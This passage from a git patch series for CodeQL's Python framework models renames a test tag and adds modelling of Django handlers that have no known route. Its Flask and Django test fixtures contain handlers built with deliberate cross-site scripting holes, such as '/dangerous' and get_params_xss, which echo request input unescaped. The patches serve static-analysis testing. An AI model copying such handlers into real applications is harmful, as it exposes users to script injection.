exists(Function routeHandler | - routeHandler = any(FlaskRouteSetup rs).getARouteHandler() and + routeHandler = any(FlaskRouteSetup rs).getARequestHandler() and node = routeHandler.getAReturnValueFlowNode() ) } diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v1/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v1/routing_test.py index 3388d97b04e..f0d51577e2e 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v1/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v1/routing_test.py @@ -4,19 +4,19 @@ from django.http.response import HttpResponse from django.views.generic import View -def url_match_xss(request, foo, bar, no_taint=None): # $routeHandler routedParameter=foo routedParameter=bar +def url_match_xss(request, foo, bar, no_taint=None): # $requestHandler routedParameter=foo routedParameter=bar return HttpResponse('url_match_xss: {} {}'.format(foo, bar)) # $HttpResponse -def get_params_xss(request): # $routeHandler +def get_params_xss(request): # $requestHandler return HttpResponse(request.GET.get("untrusted")) # $HttpResponse -def post_params_xss(request): # $routeHandler +def post_params_xss(request): # $requestHandler return HttpResponse(request.POST.get("untrusted")) # $HttpResponse -def http_resp_write(request): # $routeHandler +def http_resp_write(request): # $requestHandler rsp = HttpResponse() # $HttpResponse rsp.write(request.GET.get("untrusted")) # $HttpResponse return rsp @@ -26,22 +26,22 @@ class Foo(object): # Note: since Foo is used as the super type in a class view, it will be able to handle requests. - def post(self, request, untrusted): # $ MISSING: routeHandler routedParameter=untrusted + def post(self, request, untrusted): # $ MISSING: requestHandler routedParameter=untrusted return HttpResponse('Foo post: {}'.format(untrusted)) # $HttpResponse class ClassView(View, Foo): - def get(self, request, untrusted): # $ routeHandler routedParameter=untrusted + def get(self, request, untrusted): # $ requestHandler routedParameter=untrusted return HttpResponse('ClassView get: {}'.format(untrusted)) # $HttpResponse -def show_articles(request, page_number=1): # $routeHandler routedParameter=page_number +def show_articles(request, page_number=1): # $requestHandler routedParameter=page_number page_number = int(page_number) return HttpResponse('articles page: {}'.format(page_number)) # $HttpResponse -def xxs_positional_arg(request, arg0, arg1, no_taint=None): # $routeHandler routedParameter=arg0 routedParameter=arg1 +def xxs_positional_arg(request, arg0, arg1, no_taint=None): # $requestHandler routedParameter=arg0 routedParameter=arg1 return HttpResponse('xxs_positional_arg: {} {}'.format(arg0, arg1)) # $HttpResponse @@ -62,7 +62,7 @@ urlpatterns = [ ################################################################################ # Using patterns() for routing -def show_user(request, username): # $routeHandler routedParameter=username +def show_user(request, username): # $requestHandler routedParameter=username return HttpResponse('show_user {}'.format(username)) # $HttpResponse @@ -71,7 +71,7 @@ urlpatterns = patterns(url(r"^users/(?P<username>[^/]+)", show_user)) # $routeS ################################################################################ # Show we understand the keyword arguments to django.conf.urls.url -def kw_args(request): # $routeHandler +def kw_args(request): # $requestHandler return HttpResponse('kw_args') # $HttpResponse urlpatterns = [ diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py index 4564ebd0aa9..9b28f7ffeb8 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py @@ -4,19 +4,19 @@ from django.http import HttpResponse, HttpResponseRedirect, JsonResponse, HttpRe from django.views import View -def url_match_xss(request, foo, bar, no_taint=None): # $routeHandler routedParameter=foo routedParameter=bar +def url_match_xss(request, foo, bar, no_taint=None): # $requestHandler routedParameter=foo routedParameter=bar return HttpResponse('url_match_xss: {} {}'.format(foo, bar)) # $HttpResponse -def get_params_xss(request): # $routeHandler +def get_params_xss(request): # $requestHandler return HttpResponse(request.GET.get("untrusted")) # $HttpResponse -def post_params_xss(request): # $routeHandler +def post_params_xss(request): # $requestHandler return HttpResponse(request.POST.get("untrusted")) # $HttpResponse -def http_resp_write(request): # $routeHandler +def http_resp_write(request): # $requestHandler rsp = HttpResponse() # $HttpResponse rsp.write(request.GET.get("untrusted")) # $HttpResponse return rsp @@ -26,22 +26,22 @@ class Foo(object): # Note: since Foo is used as the super type in a class view, it will be able to handle requests. - def post(self, request, untrusted): # $ MISSING: routeHandler routedParameter=untrusted + def post(self, request, untrusted): # $ MISSING: requestHandler routedParameter=untrusted return HttpResponse('Foo post: {}'.format(untrusted)) # $HttpResponse class ClassView(View, Foo): - def get(self, request, untrusted): # $ routeHandler routedParameter=untrusted + def get(self, request, untrusted): # $ requestHandler routedParameter=untrusted return HttpResponse('ClassView get: {}'.format(untrusted)) # $HttpResponse -def show_articles(request, page_number=1): # $routeHandler routedParameter=page_number +def show_articles(request, page_number=1): # $requestHandler routedParameter=page_number page_number = int(page_number) return HttpResponse('articles page: {}'.format(page_number)) # $HttpResponse -def xxs_positional_arg(request, arg0, arg1, no_taint=None): # $routeHandler routedParameter=arg0 routedParameter=arg1 +def xxs_positional_arg(request, arg0, arg1, no_taint=None): # $requestHandler routedParameter=arg0 routedParameter=arg1 return HttpResponse('xxs_positional_arg: {} {}'.format(arg0, arg1)) # $HttpResponse @@ -62,7 +62,7 @@ urlpatterns = [ # Show we understand the keyword arguments to django.urls.re_path -def re_path_kwargs(request): # $routeHandler +def re_path_kwargs(request): # $requestHandler return HttpResponse('re_path_kwargs') # $HttpResponse @@ -75,16 +75,16 @@ urlpatterns = [ ################################################################################ # saying page_number is an externally controlled *string* is a bit strange, when we have an int converter :O -def page_number(request, page_number=1): # $routeHandler routedParameter=page_number +def page_number(request, page_number=1): # $requestHandler routedParameter=page_number return HttpResponse('page_number: {}'.format(page_number)) # $HttpResponse -def foo_bar_baz(request, foo, bar, baz): # $routeHandler routedParameter=foo routedParameter=bar routedParameter=baz +def foo_bar_baz(request, foo, bar, baz): # $requestHandler routedParameter=foo routedParameter=bar routedParameter=baz return HttpResponse('foo_bar_baz: {} {} {}'.format(foo, bar, baz)) # $HttpResponse -def path_kwargs(request, foo, bar): # $routeHandler routedParameter=foo routedParameter=bar +def path_kwargs(request, foo, bar): # $requestHandler routedParameter=foo routedParameter=bar return HttpResponse('path_kwargs: {} {} {}'.format(foo, bar)) # $HttpResponse -def not_valid_identifier(request): # $routeHandler +def not_valid_identifier(request): # $requestHandler return HttpResponse('<foo!>') # $HttpResponse urlpatterns = [ @@ -101,7 +101,7 @@ urlpatterns = [ # This version 1.x way of defining urls is deprecated in Django 3.1, but still works from django.conf.urls import url -def deprecated(request): # $routeHandler +def deprecated(request): # $requestHandler return HttpResponse('deprecated') # $HttpResponse urlpatterns = [ @@ -113,5 +113,5 @@ class PossiblyNotRouted(View): # Even if our analysis can't find a route-setup for this class, we should still # consider it to be a handle incoming HTTP requests - def get(self, request, possibly_not_routed=42): # $ MISSING: routeHandler routedParameter=possibly_not_routed + def get(self, request, possibly_not_routed=42): # $ MISSING: requestHandler routedParameter=possibly_not_routed return HttpResponse('PossiblyNotRouted get: {}'.format(possibly_not_routed)) # $HttpResponse diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/taint_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/taint_test.py index 6e0529f0fc3..a0db86f2961 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/taint_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/taint_test.py @@ -3,7 +3,7 @@ from django.urls import path from django.http import HttpRequest -def test_taint(request: HttpRequest, foo, bar, baz=None): # $routeHandler routedParameter=foo routedParameter=bar +def test_taint(request: HttpRequest, foo, bar, baz=None): # $requestHandler routedParameter=foo routedParameter=bar ensure_tainted(foo, bar) ensure_not_tainted(baz) diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py index 86517930d06..ea8c392f3d4 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py @@ -3,31 +3,31 @@ from django.views import View from django.views.decorators.csrf import csrf_exempt -def foo(request: HttpRequest): # $routeHandler +def foo(request: HttpRequest): # $requestHandler return HttpResponse("foo") # $HttpResponse -def bar_baz(request: HttpRequest): # $routeHandler +def bar_baz(request: HttpRequest): # $requestHandler return HttpResponse("bar_baz") # $HttpResponse -def deprecated(request: HttpRequest): # $routeHandler +def deprecated(request: HttpRequest): # $requestHandler return HttpResponse("deprecated") # $HttpResponse class MyBasicViewHandler(View): - def get(self, request: HttpRequest): # $ routeHandler + def get(self, request: HttpRequest): # $ requestHandler return HttpResponse("MyViewHandler: GET") # $ HttpResponse - def post(self, request: HttpRequest): # $ routeHandler + def post(self, request: HttpRequest): # $ requestHandler return HttpResponse("MyViewHandler: POST") # $ HttpResponse class MyCustomViewBaseClass(View): - def post(self, request: HttpRequest): # $ MISSING: routeHandler + def post(self, request: HttpRequest): # $ MISSING: requestHandler return HttpResponse("MyCustomViewBaseClass: POST") # $ HttpResponse class MyViewHandlerWithCustomInheritance(MyCustomViewBaseClass): - def get(self, request: HttpRequest): # $ routeHandler + def get(self, request: HttpRequest): # $ requestHandler return HttpResponse("MyViewHandlerWithCustomInheritance: GET") # $ HttpResponse diff --git a/python/ql/test/experimental/library-tests/frameworks/flask/old_test.py b/python/ql/test/experimental/library-tests/frameworks/flask/old_test.py index 5609e80006f..4e251f6f306 100644 --- a/python/ql/test/experimental/library-tests/frameworks/flask/old_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/flask/old_test.py @@ -4,14 +4,14 @@ from flask import Flask, request, make_response app = Flask(__name__) @app.route("/") # $routeSetup="/" -def hello_world(): # $routeHandler +def hello_world(): # $requestHandler return "Hello World!" # $HttpResponse from flask.views import MethodView class MyView(MethodView): - def get(self, user_id): # $ MISSING: routeHandler + def get(self, user_id): # $ MISSING: requestHandler if user_id is None: # return a list of users pass @@ -25,42 +25,42 @@ app.add_url_rule('/the/', defaults={'user_id': None}, # $routeSetup="/the/" view_func=the_view, methods=['GET',]) @app.route("/dangerous") # $routeSetup="/dangerous" -def dangerous(): # $routeHandler +def dangerous(): # $requestHandler return request.args.get('payload') # $HttpResponse @app.route("/dangerous-with-cfg-split") # $routeSetup="/dangerous-with-cfg-split" -def dangerous2(): # $routeHandler +def dangerous2(): # $requestHandler x = request.form['param0'] if request.method == "POST": return request.form['param1'] # $HttpResponse return None # $ SPURIOUS: HttpResponse @app.route("/unsafe") # $routeSetup="/unsafe" -def unsafe(): # $routeHandler +def unsafe(): # $requestHandler first_name = request.args.get('name', '') return make_response("Your name is " + first_name) # $HttpResponse @app.route("/safe") # $routeSetup="/safe" -def safe(): # $routeHandler +def safe(): # $requestHandler first_name = request.args.get('name', '') return make_response("Your name is " + escape(first_name)) # $HttpResponse @app.route("/hello/<name>") # $routeSetup="/hello/<name>" -def hello(name): # $routeHandler routedParameter=name +def hello(name): # $requestHandler routedParameter=name return make_response("Your name is " + name) # $HttpResponse @app.route("/foo/<path:subpath>") # $routeSetup="/foo/<path:subpath>" -def foo(subpath): # $routeHandler routedParameter=subpath +def foo(subpath): # $requestHandler routedParameter=subpath return make_response("The subpath is " + subpath) # $HttpResponse @app.route("/multiple/") # $routeSetup="/multiple/" @app.route("/multiple/foo/<foo>") # $routeSetup="/multiple/foo/<foo>" @app.route("/multiple/bar/<bar>") # $routeSetup="/multiple/bar/<bar>" -def multiple(foo=None, bar=None): # $routeHandler routedParameter=foo routedParameter=bar +def multiple(foo=None, bar=None): # $requestHandler routedParameter=foo routedParameter=bar return make_response("foo={!r} bar={!r}".format(foo, bar)) # $HttpResponse @app.route("/complex/<string(length=2):lang_code>") # $routeSetup="/complex/<string(length=2):lang_code>" -def complex(lang_code): # $routeHandler routedParameter=lang_code +def complex(lang_code): # $requestHandler routedParameter=lang_code return make_response("lang_code {}".format(lang_code)) # $HttpResponse if __name__ == "__main__": diff --git a/python/ql/test/experimental/library-tests/frameworks/flask/response_test.py b/python/ql/test/experimental/library-tests/frameworks/flask/response_test.py index ce57b5f01f0..b067f173882 100644 --- a/python/ql/test/experimental/library-tests/frameworks/flask/response_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/flask/response_test.py @@ -6,12 +6,12 @@ app = Flask(__name__) @app.route("/html1") # $routeSetup="/html1" -def html1(): # $routeHandler +def html1(): # $requestHandler return "<h1>hello</h1>" # $HttpResponse mimetype=text/html responseBody="<h1>hello</h1>" @app.route("/html2") # $routeSetup="/html2" -def html2(): # $routeHandler +def html2(): # $requestHandler # note that response saved in a variable intentionally -- we wan the annotations to # show that we recognize the response creation, and not the return (hopefully). (and # do the same in the following of the file) @@ -20,7 +20,7 @@ def html2(): # $routeHandler @app.route("/html3") # $routeSetup="/html3" -def html3(): # $routeHandler +def html3(): # $requestHandler resp = app.make_response("<h1>hello</h1>") # $HttpResponse mimetype=text/html responseBody="<h1>hello</h1>" return resp # $ SPURIOUS: HttpResponse mimetype=text/html responseBody=resp @@ -30,13 +30,13 @@ def html3(): # $routeHandler @app.route("/html4") # $routeSetup="/html4" -def html4(): # $routeHandler +def html4(): # $requestHandler resp = Response("<h1>hello</h1>") # $HttpResponse mimetype=text/html responseBody="<h1>hello</h1>" return resp # $ SPURIOUS: HttpResponse mimetype=text/html responseBody=resp @app.route("/html5") # $routeSetup="/html5" -def html5(): # $routeHandler +def html5(): # $requestHandler # note: flask.Flask.response_class is set to `flask.Response` by default. # it can be overridden, but we don't try to handle that right now. resp = Flask.response_class("<h1>hello</h1>") # $HttpResponse mimetype=text/html responseBody="<h1>hello</h1>" @@ -44,7 +44,7 @@ def html5(): # $routeHandler @app.route("/html6") # $routeSetup="/html6" -def html6(): # $routeHandler +def html6(): # $requestHandler # note: app.response_class (flask.Flask.response_class) is set to `flask.Response` by default. # it can be overridden, but we don't try to handle that right now. resp = app.response_class("<h1>hello</h1>") # $HttpResponse mimetype=text/html responseBody="<h1>hello</h1>" @@ -52,14 +52,14 @@ def html6(): # $routeHandler @app.route("/html7") # $routeSetup="/html7" -def html7(): # $routeHandler +def html7(): # $requestHandler resp = make_response() # $HttpResponse mimetype=text/html resp.set_data("<h1>hello</h1>") # $ MISSING: responseBody="<h1>hello</h1>" return resp # $ SPURIOUS: HttpResponse mimetype=text/html responseBody=resp @app.route("/jsonify") # $routeSetup="/jsonify" -def jsonify_route(): # $routeHandler +def jsonify_route(): # $requestHandler data = {"foo": "bar"} resp = jsonify(data) # $ MISSING: HttpResponse mimetype=application/json responseBody=data return resp # $ SPURIOUS: HttpResponse mimetype=text/html responseBody=resp @@ -69,7 +69,7 @@ def jsonify_route(): # $routeHandler ################################################################################ @app.route("/tricky-return1") # $routeSetup="/tricky-return1" -def tricky_return1(): # $routeHandler +def tricky_return1(): # $requestHandler if "raw" in request.args: resp = "<h1>hellu</h1>" else: @@ -83,7 +83,7 @@ def helper(): return make_response("<h1>hello</h1>") # $HttpResponse mimetype=text/html responseBody="<h1>hello</h1>" @app.route("/tricky-return2") # $routeSetup="/tricky-return2" -def tricky_return2(): # $routeHandler +def tricky_return2(): # $requestHandler resp = helper() return resp # $HttpResponse mimetype=text/html responseBody=resp @@ -94,14 +94,14 @@ def tricky_return2(): # $routeHandler @app.route("/content-type/response-modification1") # $routeSetup="/content-type/response-modification1" -def response_modification1(): # $routeHandler +def response_modification1(): # $requestHandler resp = make_response("<h1>hello</h1>") # $HttpResponse mimetype=text/html responseBody="<h1>hello</h1>" resp.content_type = "text/plain" # $ MISSING: HttpResponse mimetype=text/plain return resp # $ SPURIOUS: HttpResponse mimetype=text/html responseBody=resp @app.route("/content-type/response-modification2") # $routeSetup="/content-type/response-modification2" -def response_modification2(): # $routeHandler +def response_modification2(): # $requestHandler resp = make_response("<h1>hello</h1>") # $HttpResponse mimetype=text/html responseBody="<h1>hello</h1>" resp.headers["content-type"] = "text/plain" # $ MISSING: HttpResponse mimetype=text/plain return resp # $ SPURIOUS: HttpResponse mimetype=text/html responseBody=resp @@ -112,33 +112,33 @@ def response_modification2(): # $routeHandler @app.route("/content-type/Response1") # $routeSetup="/content-type/Response1" -def Response1(): # $routeHandler +def Response1(): # $requestHandler resp = Response("<h1>hello</h1>", mimetype="text/plain") # $HttpResponse mimetype=text/plain responseBody="<h1>hello</h1>" return resp # $ SPURIOUS: HttpResponse mimetype=text/html responseBody=resp @app.route("/content-type/Response2") # $routeSetup="/content-type/Response2" -def Response2(): # $routeHandler +def Response2(): # $requestHandler resp = Response("<h1>hello</h1>", content_type="text/plain; charset=utf-8") # $HttpResponse mimetype=text/plain responseBody="<h1>hello</h1>" return resp # $ SPURIOUS: HttpResponse mimetype=text/html responseBody=resp @app.route("/content-type/Response3") # $routeSetup="/content-type/Response3" -def Response3(): # $routeHandler +def Response3(): # $requestHandler # content_type argument takes priority (and result is text/plain) resp = Response("<h1>hello</h1>", content_type="text/plain; charset=utf-8", mimetype="text/html") # $HttpResponse mimetype=text/plain responseBody="<h1>hello</h1>" return resp # $ SPURIOUS: HttpResponse mimetype=text/html responseBody=resp @app.route("/content-type/Response4") # $routeSetup="/content-type/Response4" -def Response4(): # $routeHandler +def Response4(): # $requestHandler # note: capitalization of Content-Type does not matter resp = Response("<h1>hello</h1>", headers={"Content-TYPE": "text/plain"}) # $HttpResponse responseBody="<h1>hello</h1>" SPURIOUS: mimetype=text/html MISSING: mimetype=text/plain return resp # $ SPURIOUS: HttpResponse mimetype=text/html responseBody=resp @app.route("/content-type/Response5") # $routeSetup="/content-type/Response5" -def Response5(): # $routeHandler +def Response5(): # $requestHandler # content_type argument takes priority (and result is text/plain) # note: capitalization of Content-Type does not matter resp = Response("<h1>hello</h1>", headers={"Content-TYPE": "text/html"}, content_type="text/plain; charset=utf-8") # $HttpResponse mimetype=text/plain responseBody="<h1>hello</h1>" @@ -146,7 +146,7 @@ def Response5(): # $routeHandler @app.route("/content-type/Response6") # $routeSetup="/content-type/Response6" -def Response6(): # $routeHandler +def Response6(): # $requestHandler # mimetype argument takes priority over header (and result is text/plain) # note: capitalization of Content-Type does not matter resp = Response("<h1>hello</h1>", headers={"Content-TYPE": "text/html"}, mimetype="text/plain") # $HttpResponse mimetype=text/plain responseBody="<h1>hello</h1>" @@ -154,7 +154,7 @@ def Response6(): # $routeHandler @app.route("/content-type/Flask-response-class") # $routeSetup="/content-type/Flask-response-class" -def Flask_response_class(): # $routeHandler +def Flask_response_class(): # $requestHandler # note: flask.Flask.response_class is set to `flask.Response` by default. # it can be overridden, but we don't try to handle that right now. resp = Flask.response_class("<h1>hello</h1>", mimetype="text/plain") # $HttpResponse mimetype=text/plain responseBody="<h1>hello</h1>" @@ -162,7 +162,7 @@ def Flask_response_class(): # $routeHandler @app.route("/content-type/app-response-class") # $routeSetup="/content-type/app-response-class" -def app_response_class(): # $routeHandler +def app_response_class(): # $requestHandler # note: app.response_class (flask.Flask.response_class) is set to `flask.Response` by default. # it can be overridden, but we don't try to handle that right now. resp = app.response_class("<h1>hello</h1>", mimetype="text/plain") # $HttpResponse mimetype=text/plain responseBody="<h1>hello</h1>" diff --git a/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py index a5e40b5c123..1a6028e8026 100644 --- a/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/flask/routing_test.py @@ -6,24 +6,24 @@ app = Flask(__name__) SOME_ROUTE = "/some/route" @app.route(SOME_ROUTE) # $routeSetup="/some/route" -def some_route(): # $routeHandler +def some_route(): # $requestHandler return make_response("some_route") # $HttpResponse -def index(): # $routeHandler +def index(): # $requestHandler return make_response("index") # $HttpResponse app.add_url_rule('/index', 'index', index) # $routeSetup="/index" # We don't support this yet, and I think that's OK -def later_set(): # $ MISSING: routeHandler +def later_set(): # $ MISSING: requestHandler return make_response("later_set") # $HttpResponse app.add_url_rule('/later-set', 'later_set', view_func=None) # $routeSetup="/later-set" app.view_functions['later_set'] = later_set @app.route(UNKNOWN_ROUTE) # $routeSetup -def unkown_route(foo, bar): # $routeHandler routedParameter=foo routedParameter=bar +def unkown_route(foo, bar): # $requestHandler routedParameter=foo routedParameter=bar return make_response("unkown_route") # $HttpResponse diff --git a/python/ql/test/experimental/library-tests/frameworks/flask/taint_test.py b/python/ql/test/experimental/library-tests/frameworks/flask/taint_test.py index 58335997875..31c0c7e6121 100644 --- a/python/ql/test/experimental/library-tests/frameworks/flask/taint_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/flask/taint_test.py @@ -2,7 +2,7 @@ from flask import Flask, request app = Flask(__name__) @app.route("/test_taint/<name>/<int:number>") # $routeSetup="/test_taint/<name>/<int:number>" -def test_taint(name = "World!", number="0", foo="foo"): # $routeHandler routedParameter=name routedParameter=number +def test_taint(name = "World!", number="0", foo="foo"): # $requestHandler routedParameter=name routedParameter=number ensure_tainted(name, number) ensure_not_tainted(foo) @@ -192,7 +192,7 @@ def test_taint(name = "World!", number="0", foo="foo"): # $routeHandler routedP @app.route("/debug/<foo>/<bar>", methods=['GET']) # $routeSetup="/debug/<foo>/<bar>" -def debug(foo, bar): # $routeHandler routedParameter=foo routedParameter=bar +def debug(foo, bar): # $requestHandler routedParameter=foo routedParameter=bar print("request.view_args", request.view_args) print("request.headers {!r}".format(request.headers)) @@ -203,7 +203,7 @@ def debug(foo, bar): # $routeHandler routedParameter=foo routedParameter=bar return 'ok' # $HttpResponse @app.route("/stream", methods=['POST']) # $routeSetup="/stream" -def stream(): # $routeHandler +def stream(): # $requestHandler print(request.path) s = request.stream print(s) @@ -213,7 +213,7 @@ def stream(): # $routeHandler return 'ok' # $HttpResponse @app.route("/input_stream", methods=['POST']) # $routeSetup="/input_stream" -def input_stream(): # $routeHandler +def input_stream(): # $requestHandler print(request.path) s = request.input_stream print(s) @@ -224,14 +224,14 @@ def input_stream(): # $routeHandler return 'ok' # $HttpResponse @app.route("/form", methods=['POST']) # $routeSetup="/form" -def form(): # $routeHandler +def form(): # $requestHandler print(request.path) print("request.form", request.form) return 'ok' # $HttpResponse @app.route("/cache_control", methods=['POST']) # $routeSetup="/cache_control" -def cache_control(): # $routeHandler +def cache_control(): # $requestHandler print(request.path) print("request.cache_control.max_age", request.cache_control.max_age, type(request.cache_control.max_age)) print("request.cache_control.max_stale", request.cache_control.max_stale, type(request.cache_control.max_stale)) @@ -240,7 +240,7 @@ def cache_control(): # $routeHandler return 'ok' # $HttpResponse @app.route("/file_upload", methods=['POST']) # $routeSetup="/file_upload" -def file_upload(): # $routeHandler +def file_upload(): # $requestHandler print(request.path) for k,v in request.files.items(): print(k, v, v.name, v.filename, v.stream) @@ -248,7 +248,7 @@ def file_upload(): # $routeHandler return 'ok' # $HttpResponse @app.route("/args", methods=['GET']) # $routeSetup="/args" -def args(): # $routeHandler +def args(): # $requestHandler print(request.path) print("request.args", request.args) diff --git a/python/ql/test/experimental/library-tests/frameworks/stdlib/http_server.py b/python/ql/test/experimental/library-tests/frameworks/stdlib/http_server.py index 33a3594894f..f74cc171136 100644 --- a/python/ql/test/experimental/library-tests/frameworks/stdlib/http_server.py +++ b/python/ql/test/experimental/library-tests/frameworks/stdlib/http_server.py @@ -78,7 +78,7 @@ class MyHandler(BaseHTTPRequestHandler): ensure_tainted(form) - def do_GET(self): + def do_GET(self): # $ MISSING: requestHandler # send_response will log a line to stderr self.send_response(200) self.send_header("Content-type", "text/plain; charset=utf-8") @@ -88,7 +88,7 @@ class MyHandler(BaseHTTPRequestHandler): print(self.headers) - def do_POST(self): + def do_POST(self): # $ MISSING: requestHandler form = cgi.FieldStorage( self.rfile, self.headers, diff --git a/python/ql/test/experimental/meta/ConceptsTest.qll b/python/ql/test/experimental/meta/ConceptsTest.qll index 98423b95688..b031499e5e2 100644 --- a/python/ql/test/experimental/meta/ConceptsTest.qll +++ b/python/ql/test/experimental/meta/ConceptsTest.qll @@ -142,7 +142,9 @@ class SqlExecutionTest extends InlineExpectationsTest { class HttpServerRouteSetupTest extends InlineExpectationsTest { HttpServerRouteSetupTest() { this = "HttpServerRouteSetupTest" } - override string getARelevantTag() { result in ["routeSetup", "routeHandler", "routedParameter"] } + override string getARelevantTag() { + result in ["routeSetup", "requestHandler", "routedParameter"] + } override predicate hasActualResult(Location location, string element, string tag, string value) { exists(HTTP::Server::RouteSetup setup | @@ -157,16 +159,15 @@ class HttpServerRouteSetupTest extends InlineExpectationsTest { tag = "routeSetup" ) or - exists(HTTP::Server::RouteSetup setup, Function func | - func = setup.getARouteHandler() and - location = func.getLocation() and - element = func.toString() and + exists(HTTP::Server::RequestHandler handler | + location = handler.getLocation() and + element = handler.toString() and value = "" and - tag = "routeHandler" + tag = "requestHandler" ) or - exists(HTTP::Server::RouteSetup setup, Parameter param | - param = setup.getARoutedParameter() and + exists(HTTP::Server::RequestHandler handler, Parameter param | + param = handler.getARoutedParameter() and location = param.getLocation() and element = param.toString() and value = param.asName().getId() and From d4d6f0ca0c55eded35b2a0b23ba8d71ed6ad67ef Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Mon, 21 Dec 2020 17:38:43 +0100 Subject: [PATCH 0343/1241] Python: Model django request handlers without known route --- .../2020-12-21-django-with-unknown-route.md | 2 ++ .../ql/src/semmle/python/frameworks/Django.qll | 17 +++++++++++++++++ .../frameworks/django-v2-v3/routing_test.py | 2 +- .../frameworks/django-v2-v3/testapp/views.py | 2 +- 4 files changed, 21 insertions(+), 2 deletions(-) create mode 100644 python/change-notes/2020-12-21-django-with-unknown-route.md diff --git a/python/change-notes/2020-12-21-django-with-unknown-route.md b/python/change-notes/2020-12-21-django-with-unknown-route.md new file mode 100644 index 00000000000..6ac353cbef4 --- /dev/null +++ b/python/change-notes/2020-12-21-django-with-unknown-route.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* Improved modeling of `django` to recognize request handlers on `View` classes without known route, thereby leading to more sources of remote user input (`RemoteFlowSource`). diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index f4cbe3d9ea5..171a06dc97a 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -1756,6 +1756,23 @@ private module Django { } } + /** A request handler defined in a django view class, that has no known route. */ + private class DjangoViewClassHandlerWithoutKnownRoute extends HTTP::Server::RequestHandler::Range, + DjangoRouteHandler { + DjangoViewClassHandlerWithoutKnownRoute() { + exists(DjangoViewClassDef vc | vc.getARequestHandler() = this) and + not exists(DjangoRouteSetup setup | setup.getARequestHandler() = this) + } + + override Parameter getARoutedParameter() { + // Since we don't know the URL pattern, we simply mark all parameters as a routed + // parameter. This should give us more RemoteFlowSources but could also lead to + // more FPs. If this turns out to be the wrong tradeoff, we can always change our mind. + result in [this.getArg(_), this.getArgByName(_)] and + not result = any(int i | i <= this.getRequestParamIndex() | this.getArg(i)) + } + } + /** * Gets the regex that is used by django to find routed parameters when using `django.urls.path`. * diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py index 9b28f7ffeb8..e744c5ba89d 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py @@ -113,5 +113,5 @@ class PossiblyNotRouted(View): # Even if our analysis can't find a route-setup for this class, we should still # consider it to be a handle incoming HTTP requests - def get(self, request, possibly_not_routed=42): # $ MISSING: requestHandler routedParameter=possibly_not_routed + def get(self, request, possibly_not_routed=42): # $ requestHandler routedParameter=possibly_not_routed return HttpResponse('PossiblyNotRouted get: {}'.format(possibly_not_routed)) # $HttpResponse diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py index ea8c392f3d4..55c60a551a0 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/testapp/views.py @@ -24,7 +24,7 @@ class MyBasicViewHandler(View): class MyCustomViewBaseClass(View): - def post(self, request: HttpRequest): # $ MISSING: requestHandler + def post(self, request: HttpRequest): # $ requestHandler return HttpResponse("MyCustomViewBaseClass: POST") # $ HttpResponse From 05ab6cd54a806449be0b1b7003532deda11f59a8 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Mon, 21 Dec 2020 17:41:46 +0100 Subject: [PATCH 0344/1241] Python: Add RemoteFlowSource for django handler without route A bit scary that we don't have any tests to indicate that I forgot to add this :O --- python/ql/src/semmle/python/frameworks/Django.qll | 2 ++ 1 file changed, 2 insertions(+) diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index 171a06dc97a..74c1856a79b 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -1909,6 +1909,8 @@ private module Django { RemoteFlowSource::Range, DataFlow::ParameterNode { DjangoRouteHandlerRequestParam() { this.getParameter() = any(DjangoRouteSetup setup).getARequestHandler().getRequestParam() + or + this.getParameter() = any(DjangoViewClassHandlerWithoutKnownRoute setup).getRequestParam() } override string getSourceType() { result = "django.http.request.HttpRequest" } From 71a6ef5b00c21ab4bdad6380a7bfc65ccbf10e0d Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Mon, 21 Dec 2020 17:55:33 +0100 Subject: [PATCH 0345/1241] Python: Model RequestHandler from standard library explicitly --- python/ql/src/semmle/python/frameworks/Stdlib.qll | 14 ++++++++++++++ 